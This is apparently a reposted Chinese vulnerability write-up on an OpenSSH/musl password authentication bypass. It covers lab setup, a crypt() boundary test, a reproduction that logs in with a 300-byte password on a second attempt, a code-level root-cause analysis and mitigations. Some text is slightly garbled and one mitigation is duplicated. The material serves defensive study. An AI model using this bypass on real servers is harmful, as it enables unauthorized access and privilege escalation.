OpenSSH/musl 密码认证绕过漏洞复现与分析(CVE-2026-123158)
一、漏洞说明CVE官方链接:https://www.cve.org/CVERecord?id=CVE-2026-123158Linux 平台上,版本早于 10.6p2 的 OpenSSH 中的 ssh 2026-11-9 06:1:5 Author: xz.aliyun.com(查看原文) 阅读量:3 收藏


一、漏洞说明

CVE官方链接:https://www.cve.org/CVERecord?id=CVE-2026-123158

Linux 平台上,版本早于 10.6p2 的 OpenSSH 中的 sshd 服务:在使用 musl libc、且未启用 PAM 的环境下,缺少针对密码认证绕过漏洞的修复逻辑(问题根源是程序错误判断一段字符串是否为密码哈希值)。在满足特定账号配置的情况下,长度介于 256~1024 字符之间的任意密码都能认证通过。使用 musl libc 并且不开启 PAM 的典型系统:Alpine Linux。

该漏洞源于muslibc的crypt()函数在失败时返回单字符“(而非POSIX规定的NULL),而OpenSSH在未启用PAM的认证路径中,对密码字段为的账户借用其他账户的真实盐值执行cryptO校验。当攻击者提交257~1024字节的超长密码时,musl的crypt0因KEY_MAX(256)长度限制返回,与影子密码字段比较相等,strcmp判定通过,攻击者可利用该漏洞无需任何有效凭据即可通过SSH密码认证登录仅允许密钥登录或已锁定密码的账户。成功绕过认证后,若目标账户具备免密sudo/doas权限(如Alpine云镜像默认alpine用户),攻击者可直接提权至root实现完全控制。

二、基本信息

公开时间

2026-11-05

威胁类型

认证绕过

CVSS 3.1

9.8(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

利用条件

无需凭据、无需交互

三、受影响版本

2016 年以来至 10.6p2 之前,运行于 musl libc 且未启用 PAM 的 OpenSSH sshd(Alpine、OpenWrt、Buildroot、Yocto 及 musl Docker 镜像)

四、影响组件

OpenSSH 是 OpenBSD 项目维护的广泛使用的开源 SSH 远程登录与加密传输服务组件,被广泛应用于 Linux、Unix 及嵌入式系统。musl libc 是面向嵌入式与容器场景的轻量级 C 标准库,被 Alpine Linux、 OpenWrt、Buildroot、Yocto 及大量 Docker 镜像采用。

五、利用条件

  1. sshd 键接 muss libc, 且未启用 PAM;

  2. PasswordAuthentication yes (默认开启);

  3. 存在 shadow 密码字段为 * 的帐户;

  4. 系统中至少还有一个带真实密码哈希 ($ 开头) 的帐户, 用于提供可借用的盐;

  5. 攻击者能在同一个 TCP 连接内完成两次认证尝试。

六、环境搭建

1、环境拓扑

宿主机 Kali Linux (45.76.xx.xx:2233)
└── /opt/lab/rootfs          Alpine 3.24.4 chroot(musl 1.2.6)
    ├── /build/sshd          源码编译的 OpenSSH 10.3p1(无补丁)
    ├── /build/sshd-session  会话进程
    ├── /build/sshd-auth     认证进程(漏洞代码所在)
    └── 监听 0.0.0.0:2227

2、下载并解压 Alpine rootfs

下载 Alpine 的最小根文件系统(约 3.6 MB),解压到 /opt/lab/rootfs,之后所有的实验都在这里面,不会到宿主机的kali系统。

mkdir -p /opt/lab && cd /opt/lab
curl -# -O https://dl-cdn.alpinelinux.org/alpine/v3.24/releases/x86_64/alpine-minirootfs-3.24.4-x86_64.tar.gz
ls -lh alpine-minirootfs-3.24.4-x86_64.tar.gz
mkdir -p rootfs
tar xzf alpine-minirootfs-3.24.4-x86_64.tar.gz -C rootfs
ls rootfs

3、挂载 /dev、/proc,进入 chroot

cd /opt/lab
mount --bind /dev rootfs/dev
mount -t proc proc rootfs/proc
cp /etc/resolv.conf rootfs/etc/resolv.conf

mount | grep /opt/lab/rootfs
chroot rootfs /bin/sh -c 'cat /etc/alpine-release; /lib/ld-musl-x86_64.so.1 2>&1 | head -2; id'

4、在 chroot 里装编译工具

chroot /opt/lab/rootfs /bin/sh -c 'apk update && apk add --no-cache build-base openssl-dev zlib-dev perl openssh-keygen'
chroot /opt/lab/rootfs /bin/sh -c 'gcc --version | head -1; make --version | head -1; command -v ssh-keygen perl'

5、下载 OpenSSH 10.3p1

将OpenSSH 10.3p1源码并放进 chroot(影响范围是「10.6p2 之前」,10.3p1 在区间内)

cd /opt/lab
curl -# -O https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-10.3p1.tar.gz
ls -lh openssh-10.3p1.tar.gz
tar xzf openssh-10.3p1.tar.gz

rm -rf rootfs/build
cp -a openssh-10.3p1 rootfs/build
ls rootfs/build | head -8

源码 2.0 MB,已放进 rootfs/build

6、configure(在 chroot 里)

7、编译

grep -i 'PAM support' /opt/lab/rootfs/tmp/configure.log

chroot /opt/lab/rootfs /bin/sh -c 'cd /build && make -j2 sshd sshd-session sshd-auth > /tmp/make.log 2>&1; echo "exit=$?"; ls -l sshd sshd-session sshd-auth'

三个二进制分别对应:监听器 sshd 、会话进程 sshd-session 、认证逻辑 sshd-auth (漏洞代码在这里)。

8、给sshd链接两个helper

mkdir -p /opt/lab/rootfs/usr/local/libexec
ln -sf /build/sshd-session /opt/lab/rootfs/usr/local/libexec/sshd-session
ln -sf /build/sshd-auth    /opt/lab/rootfs/usr/local/libexec/sshd-auth
ls -l /opt/lab/rootfs/usr/local/libexec/

9、新建测试用户

用户1:lockeduser

lockeduser

shadow字段 *

攻击目标:等价于“仅密钥登录 / 已锁定密码”的账户

用户2:hashuser

lockeduser

shadow字段 $6$...

提供可借用的盐:漏洞前置条件之一是“机器上另有一个真实密码哈希的账户”

chroot /opt/lab/rootfs /bin/sh -c '
  adduser -D -s /bin/sh lockeduser
  adduser -D -s /bin/sh hashuser
  echo "hashuser:RealPassw0rd!" | chpasswd
  sed -i "s/^lockeduser:[^:]*:/lockeduser:*:/" /etc/shadow
  grep -E "^(lockeduser|hashuser):" /etc/shadow
'

adduser -D 建出来是空密码,shadow 默认是 !。这里用 sed 强行改成 * —— 因为 ! 会被

platform_locked_account() 判定锁定账户、直接拒之门外,而 * 会被放行,到密码校验环节,漏洞才成立。

chpasswd 会调用 crypt() 生成 $6$ 哈希。这一步本身就会用到 musl 的实现,但密码长度只有 14 字

节,走的是正常路径。

10、生成主机密钥 + 写 sshd 配置

chroot /opt/lab/rootfs /bin/sh -c 'mkdir -p /etc/ssh /run/sshd && ssh-keygen -A && ls -l /etc/ssh/'
cat > /opt/lab/rootfs/etc/ssh/sshd_config <<'CFG'
Port 2227
ListenAddress 0.0.0.0
HostKey /etc/ssh/ssh_host_ed25519_key
HostKey /etc/ssh/ssh_host_rsa_key
PermitRootLogin no
PasswordAuthentication yes
KbdInteractiveAuthentication no
UsePAM no
AllowUsers lockeduser hashuser
LogLevel VERBOSE
PidFile /run/sshd.pid
PerSourcePenalties no
CFG

grep -Ev '^#|^$' /opt/lab/rootfs/etc/ssh/sshd_config

11、启动 sshd 并验证

chroot /opt/lab/rootfs /build/sshd -f /etc/ssh/sshd_config -p 2227 -E /var/log/sshd.log
sleep 1
ss -ltn | grep 2227
echo "--- 日志 ---"
cat /opt/lab/rootfs/var/log/sshd.log

Unsupported option UsePAM,这里不是错误,是证明这个 sshd 编译时就没有 PAM。正是漏洞成立的条件

Server listening on 0.0.0.0 port 222,监听成功。

12、验证 musl crypt() 的失败边界(重点)

cat > /opt/lab/rootfs/tmp/ct.c <<'EOF'
#include <crypt.h>
#include <stdio.h>
#include <string.h>

static void t(const char *tag, const char *pw, const char *salt)
{
    const char *r = crypt(pw, salt);
    printf("%-8s len=%-4zu -> %s\n", tag, strlen(pw), r ? r : "(NULL)");
}

int main(void)
{
    static char pw[2048];
    const char *s = "$6$sQfHnNO8Arlv3oCj$";

    memset(pw, 'A', sizeof pw); pw[256] = 0;  t("256B", pw, s);
    memset(pw, 'A', sizeof pw); pw[257] = 0;  t("257B", pw, s);
    memset(pw, 'A', sizeof pw); pw[300] = 0;  t("300B", pw, s);
    memset(pw, 'A', sizeof pw); pw[1024] = 0; t("1024B", pw, s);
    t("short", "hello", s);
    t("salt*", "hello", "*");
    return 0;
}
EOF
chroot /opt/lab/rootfs /bin/sh -c 'gcc -O1 -o /tmp/ct /tmp/ct.c -lcrypt && /tmp/ct'

256B

len=256 -> $6$sQfHnNO8Arlv3oCj$tFlkD9SnpBosyC9EhtiqOjHjaRtUkOEZ.XyX7ny6gY9pdDE1Rh2AuCkXC.eQf8lkutUkoDTVqPlCOaXa1Pi99.

257B

len=257 -> *

300B

len=300 -> *

1024

len=1024 -> *

结果可以看出:
(1)256 字节还能正常出哈希 → 所以 256 打不通
(2)257B / 308B / 1024B 超过上限,统一返回 ,有效区间是 257 ~ 1024(漏洞利用点)
(3)salt
拿 当盐会返回 x,不是 , 所以必须去借别人的盐

八、漏洞复现

1、生成300个字节

python3 -c "print('A' * 300)" > /tmp/longpw
cat /tmp/longpw

2、使用ssh连接主机

ssh -p 2227 [email protected] id

成功进入系统,查看下ssh登录日志

首次登录失败,第二次成功,漏洞复现完成。

3、漏洞原理简单说明

这里第一次登录密码输入随机字符(例如:ceshiceshi),pick_salt() 遍历 getsppnam() 借盐,顺手把 pw_password 覆盖成了空串;盐被写进 static salt[32],比较失败。第二次密码输入300个A,pick_salt() 命中缓存、不再遍历pw_password 保住 "*" ,crypt(300字节) 返回 "*" , strcmp("*","*")==0 ,对比通过,成功登入。

九、漏洞分析

下载源码

curl.exe -O https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-10.3p1.tar.gz

测试用户的shadow值:lockeduser:*:20763:0:99999:7:::

第一部分:密码校验流程

1. 密码进入程序

auth2-passwd.c -> userauth_passwd()

55  	char *password = NULL;
56  	int authenticated = 0, r;
57  	u_char change;
58  	size_t len = 0;
59
60  	if ((r = sshpkt_get_u8(ssh, &change)) != 0 ||
61  	    (r = sshpkt_get_cstring(ssh, &password, &len)) != 0 ||
62  	    (change && (r = sshpkt_get_cstring(ssh, NULL, NULL)) != 0) ||
63  	    (r = sshpkt_get_end(ssh)) != 0) {
64  		freezero(password, len);
65  		fatal_fr(r, "parse packet");
66  	}

协议入口,做三件事:读 1 字节 change(是否请求改密)、读密码字符串并记录长度 len、确认包里没有多余数据。

对密码不做任何校验,取到什么就是什么。较长的字符串都能进入内存。

第 64 行的 freezero 说明作者对密码生命周期有意识:出错时先清零再释放。

2. 密码被送进特权进程

monitor_wrap.c -> mm_auth_password()

488  	if ((m = sshbuf_new()) == NULL)
489  		fatal_f("sshbuf_new failed");
490  	if ((r = sshbuf_put_cstring(m, password)) != 0)
491  		fatal_fr(r, "assemble");
492  	mm_request_send(pmonitor->m_recvfd, MONITOR_REQ_AUTHPASSWORD, m);
493
494  	debug3_f("waiting for MONITOR_ANS_AUTHPASSWORD");
495  	mm_request_receive_expect(pmonitor->m_recvfd,
496  	    MONITOR_ANS_AUTHPASSWORD, m);

校验要读 /etc/shadow,需要 root;而处理网络的进程已降权。于是密码被复制进消息缓冲,通过管道发给特权进程 monitor,然后阻塞等回复。

两个后果:内存里出现了第二份密码副本;同一条连接在同一时刻只有一个认证请求在处理,后续两次尝试是严格串行的。

3. monitor 取出密码并调用校验

monitor.c -> mm_answer_authpassword()

1026  	static int call_count;
...
1031  	if (!options.password_authentication)
1032  		fatal_f("password authentication not enabled");
1033  	if ((r = sshbuf_get_cstring(m, &passwd, &plen)) != 0)
1034  		fatal_fr(r, "parse");
1035  	/* Only authenticate if the context is valid */
1036  	authenticated = options.password_authentication &&
1037  	    auth_password(ssh, passwd);
1038  	freezero(passwd, plen);

monitor 侧的处理器:确认配置允许密码认证,取出密码(第三份副本),调用 auth_password(),用完清零。

第 1026 行的 static int call_count 说明 monitor 进程在整条连接期间常驻。这为后面“盐缓存能活到第二次尝试”提供了进程基础。

4. 密码长度校验

auth-passwd.c -> auth_password()

 70  #define MAX_PASSWORD_LEN	1024
...
 86  	if (strlen(password) > MAX_PASSWORD_LEN)
 87  		return 0;

整条链上唯一一次对密码长度的限制。判断用 >,所以 1024 字节通过、1025 字节被拒。

限制的初衷是防止超长输入拖慢哈希计算(拒绝服务防护),但它同时划定了攻击载荷的边界:

长度

结果

≤ 1024

继续往下走

> 1024

返回 0,crypt() 永远不会被调用

5. 岔路:启用 PAM 就不走内置校验

auth-passwd.c -> auth_password()

114  #ifdef USE_PAM
115  	if (options.use_pam)
116  		return (sshpam_auth_passwd(authctxt, password) && ok);
117  #endif

两个条件:编译期带 USE_PAM,运行期 UsePAM yes。两者都成立时函数直接返回,下面的代码全部不执行。

这就是“未启用 PAM”成为漏洞前提的原因:PAM 路径根本不经过内置的 sys_auth_passwd()。

下一步先用密码做什么?

6. 先取账户的存储值,而不是处理密码

auth-passwd.c -> auth_password()

 79  	Authctxt *authctxt = ssh->authctxt;
 80  	struct passwd *pw = authctxt->pw;
 81  	int result, ok = authctxt->valid;
...
125  	result = sys_auth_passwd(ssh, password);

真正处理密码的是第 125 行的 sys_auth_passwd()。

auth-passwd.c -> sys_auth_passwd()

194  	Authctxt *authctxt = ssh->authctxt;
195  	struct passwd *pw = authctxt->pw;
196  	char *encrypted_password, *salt = NULL;
197
198  	/* Just use the supplied fake password if authctxt is invalid */
199  	char *pw_password = authctxt->valid ? shadow_pw(pw) : pw->pw_passwd;

第 199 行先取账户的密码字段:

条件

来源

典型内容

账户有效

shadow_pw() -> /etc/shadow

真实哈希 或 *

账户无效

pw->pw_passwd -> /etc/passwd

x(占位符)

区分两条路是为了避免通过“读 shadow 的耗时差异”判断账户是否存在。

对“只允许密钥登录”的账户,字段是 *。此时提交的密码还在旁边,一点都没被用到。

7. 存储值决定能不能当盐

auth-passwd.c -> sys_auth_passwd()

208  	/*
209  	 * Encrypt the candidate password using the proper salt, or pass a
210  	 * NULL and let xcrypt pick one.
211  	 */
212  	if (authctxt->valid && pw_password[0] && pw_password[1])
213  		salt = pw_password;
214  	encrypted_password = xcrypt(password, salt);

第 212 行三个条件:

条件

含义

对 * 的结果

authctxt->valid

账户有效

真

pw_password[0]

字段非空

'*',真

pw_password[1]

至少 2 个字符

'\0',假

真哈希最短也有十几字符,1 个字符显然不是哈希,拿它当盐会让 crypt() 报错。所以这里选择“不用它”。

判断本身没错,但产生了副作用:salt 保持 NULL。

第 213 行还有一个细节:赋的是指针,不是拷贝。salt 与 pw_password 从此指向同一块内存。

接着salt 为 NULL 会触发借盐。

8. NULL 触发借盐

openbsd-compat/xcrypt.c -> xcrypt()

102  	/*
103  	 * If we don't have a salt we are encrypting a fake password for
104  	 * for timing purposes.  Pick an appropriate salt.
105  	 */
106  	if (salt == NULL)
107  		salt = pick_salt();

注释交代了意图:没有盐时,是在为计时做一次“假验证”,让“账户无可用密码”的场景也走一遍哈希计算,使不同路径耗时接近,避免时序侧信道。

目标是对的,但把“选盐”的决定权完全交了出去。此时密码仍未参与。

接着看从什么地方借盐?

9. 借别的账户的盐

openbsd-compat/xcrypt.c -> pick_salt()

73  	struct passwd *pw;
74  	char *passwd, *p;
75  	size_t typelen;
76  	static char salt[32];
77
78  	if (salt[0] != '\0')
79  		return salt;
80  	strlcpy(salt, "xx", sizeof(salt));
81  	setpwent();
82  	while ((pw = getpwent()) != NULL) {
83  		if ((passwd = shadow_pw(pw)) == NULL)
84  			continue;
85  		if (passwd[0] == '$' && (p = strrchr(passwd+1, '$')) != NULL) {
86  			typelen = p - passwd + 1;
87  			strlcpy(salt, passwd, MINIMUM(typelen, sizeof(salt)));
88  			explicit_bzero(passwd, strlen(passwd));
89  			goto out;
90  		}
91  	}

逐段:

  • 第 76 行:static 缓冲,全进程共享;

  • 第 78–79 行:缓存命中就直接返回,不再遍历;

  • 第 80 行:默认值 xx(传统 DES 盐),兜底用;

  • 第 81–82 行:从 /etc/passwd 头部开始遍历;

  • 第 83 行:取每个账户的密码字段,取不到就跳过;

  • 第 85 行:判断是否$6salt$hash 形式;

  • 第 86–87 行:截取“算法前缀 + 盐”存进缓冲;

  • 第 88 行:把取到的字段清零;

  • 第 89 行:命中即跳出。

借到的不是整个哈希,只是前缀和盐:

$6$sQfHnNO8Arlv3oCj$r9S1v8mTA13X...
└──────┬──────┘└──┬──┘
   算法前缀      盐        └─── 哈希部分被丢弃

整台机器没有 $ 开头的字段时,salt 保持 xx,crypt() 走 DES 分支,返回正常哈希(漏洞不成立)

接下来看在借盐中有什么“违规”操作?

10. 存储值被覆盖,盐进了缓存

pick_salt() 第 83 行调用 shadow_pw(),后者内部调 getspnam()。

openbsd-compat/xcrypt.c -> shadow_pw()

131  	char *pw_password = pw->pw_passwd;
...
134  	struct spwd *spw = getspnam(pw->pw_name);
136  	if (spw != NULL)
137  		pw_password = spw->sp_pwdp;
...
155  	return pw_password;

第 137 行把指针指向 spw->sp_pwdp,第 155 行直接返回,没有拷贝。

getspnam() 返回的是 libc 内部的静态缓冲区,每次调用都复用同一块内存:

第 199 行  pw_password 指向 [ 静态缓冲区:"*" ]
第 83 行   遍历反复 getspnam(),同一块内存被改写
第 221 行  再读 pw_password -> 已不是 "*"

但盐被缓存了(第 76 行 static、第 78 行判断):

  • 第一次:缓存空 -> 完整遍历 -> 存储值被覆盖 -> 盐写入 salt[32]

  • 第二次:缓存命中 -> 直接返回 -> 不遍历 -> 存储值不被覆盖

这就是“第一次必败、第二次才成”的技术原因,也解释了为什么必须同一连接——换连接就是新进程,缓存为空。

盐有了,接着看密码怎么参与?

11. 密码第一次被使用

openbsd-compat/xcrypt.c -> xcrypt()

106  	if (salt == NULL)
107  		salt = pick_salt();
...
117  	crypted = crypt(password, salt);
...
120  	return crypted;

第 117 行,密码作为 crypt() 的第一个参数,和借来的盐一起送进去。

这是密码第一次真正参与运算——前面 10 步里它只被传递、被检查长度,从未影响任何判断。

第 120 行原样返回结果:不检查是否为合法哈希、不判 NULL、不判特殊字符串。

12. 结果和存储值比较

auth-passwd.c -> sys_auth_passwd()

216  	/*
217  	 * Authentication is accepted if the encrypted passwords
218  	 * are identical.
219  	 */
220  	return encrypted_password != NULL &&
221  	    strcmp(encrypted_password, pw_password) == 0;

第 220 行判空,防止 NULL 传进 strcmp;第 221 行逐字节比较。

判定标准是“两个字符串是否完全相同”,而不是抽象的“密码是否正确”。

正常情况下这个比较可靠:两边都是哈希,密码不对就不相等。

到这里,流程本身没有问题。

第二部分:漏洞点

先看整体调用路径:

userauth_passwd -> mm_auth_password -> mm_answer_authpassword
  -> auth_password -> sys_auth_passwd
       -> shadow_pw
       -> xcrypt -> pick_salt
                 -> crypt
       -> strcmp

漏洞点集中在同一段代码里:

auth-passwd.c -> sys_auth_passwd()(第 196–221 行)

196  	char *encrypted_password, *salt = NULL;
...
199  	char *pw_password = authctxt->valid ? shadow_pw(pw) : pw->pw_passwd;
...
208  	/*
209  	 * Encrypt the candidate password using the proper salt, or pass a
210  	 * NULL and let xcrypt pick one.
211  	 */
212  	if (authctxt->valid && pw_password[0] && pw_password[1])
213  		salt = pw_password;
214  	encrypted_password = xcrypt(password, salt);
215
216  	/*
217  	 * Authentication is accepted if the encrypted passwords
218  	 * are identical.
219  	 */
220  	return encrypted_password != NULL &&
221  	    strcmp(encrypted_password, pw_password) == 0;

前面 12 步留下两个事实:盐是借来的,借的过程会覆盖 pw_password;比较是纯字符串比较。

现在把密码放进来。

13. 第一次输入密码尝试

输入密码:ceshiceshi

第 199 行  pw_password 指向 "*"
第 107 行  调 pick_salt()
第 83 行   遍历反复 getspnam(),覆盖 "*" -> 变成空串
第 87 行   盐写入 static salt[32]
第 117 行  crypt("ceshiceshi", 盐) -> 正常哈希
第 221 行  strcmp(正常哈希, "") -> 不相等 -> 失败

失败有两个原因叠在一起:密码本来就不对;存储值被覆盖,比较对象都变了。

但它做了一件关键的事:把借来的盐缓存进了 static salt[32]。

14. 第二次尝试:300 字节密码

同一连接,输入 300 个 A:

第 199 行  pw_password 重新指向 "*"
第 107 行  调 pick_salt()
第 78 行   缓存命中,直接返回 -> 不遍历 -> "*" 未被覆盖
第 117 行  crypt(300 字节, 盐)
第 221 行  strcmp("*", "*") -> 相等 -> 通过

决定性的一步在第 117 行。

musl -> src/crypt/crypt.c -> crypt()

char *crypt(const char *key, const char *salt)
{
    static char buf[128];
    return __crypt_r(key, salt, (struct crypt_data *)buf);
}

musl -> src/crypt/crypt_r.c -> __crypt_r()

    if (salt[1] == '6' && salt[2] == '$')
        return __crypt_sha512(key, salt, output);

musl -> src/crypt/crypt_sha512.c -> sha512crypt()

#define KEY_MAX 256
...
    /* reject large keys */
    for (i = 0; i <= KEY_MAX && key[i]; i++);
    if (i > KEY_MAX)
        return 0;

musl -> src/crypt/crypt_sha512.c -> __crypt_sha512()

    if (!p || q != testbuf || memcmp(...))
        return "*";
    return p;

链条:

  1. 密码 300 字节,超过 KEY_MAX(256);

  2. 内层 sha512crypt() 返回 0(NULL);

  3. 外层 __crypt_sha512() 把 NULL 翻译成哨兵串 "*"。

15、总结

分层看,每一处都没有写错:长度检查是防护;盐不够格就不用;借盐做计时对齐;crypt() 失败返回哨兵值是为了调用方不崩。

问题出在两个正确设计的衔接处:

“加密失败”产生的哨兵字符串 "",恰好等于“无可用密码”账户的存储字段 "",而 OpenSSH 用纯字符串比较判定认证。

再叠加一个实现细节——借盐时 getspnam() 覆盖了存储值的指针来源——使得第一次尝试必败、第二次才能成功。

触发条件:musl libc 且未启用 PAM;目标账户 shadow 字段为 *;系统中存在其他真实 $ 哈希账户;密码长度 257~1024;同一连接内先失败一次。

拓展:为什么密码内容无所谓

长度

crypt() 返回

≤ 256

正常哈希(长串

...)

257~1024

"*"

> 1024

到不了 crypt(),在 auth_password() 第 86 行被拒

所以第二次提交任意 257~1024 字节的内容,结果都一样。

密码在这条链上的唯一作用:用长度把 crypt() 逼到失败分支。

十、修复措施

1、安全更新

官方已发布安全补丁,请及时更新至最新版本:
OpenSSH >= 10.6p2
下载地址:
https://www.openssh.org/portable.html
Alpine 等 musl 发行版可执行 apk upgrade openssh 并重启 sshd;源码部署需升级到 10.6p2 后重新编译安装。

2、临时缓解措施

  1. 关闭密码认证并重启 sshd:在 /etc/ssh/sshd_config.d/00-no-passwords.conf 写入 PasswordAuthentication no(Alpine 执行 rc-service sshd restart);

  2. 关闭密码认证并重启 sshd:在 /etc/ssh/sshd_config.d/00-no-passwords.conf 文件中添加 PasswordAuthentication no 的配置项(在 Alpine 系统中执行 rc-service sshd restart 命令来实现这一操作);

  3. 将 PermitRootLogin 设置为 prohibit-password 或 no;

  4. 注意:在未启用 PAM 的 Alpine 等 musl 系统上,不要将 /etc/shadow 中的 "*" 改为 "!",否则会导致合法用户无法使用 SSH 密钥登录;

  5. 若已暴露,应检查 sshd 日志中本应无密码的账户是否出现 Accepted password 记录。


文章来源: https://xz.aliyun.com/news/93220
如有侵权请联系:admin#unsafe.sh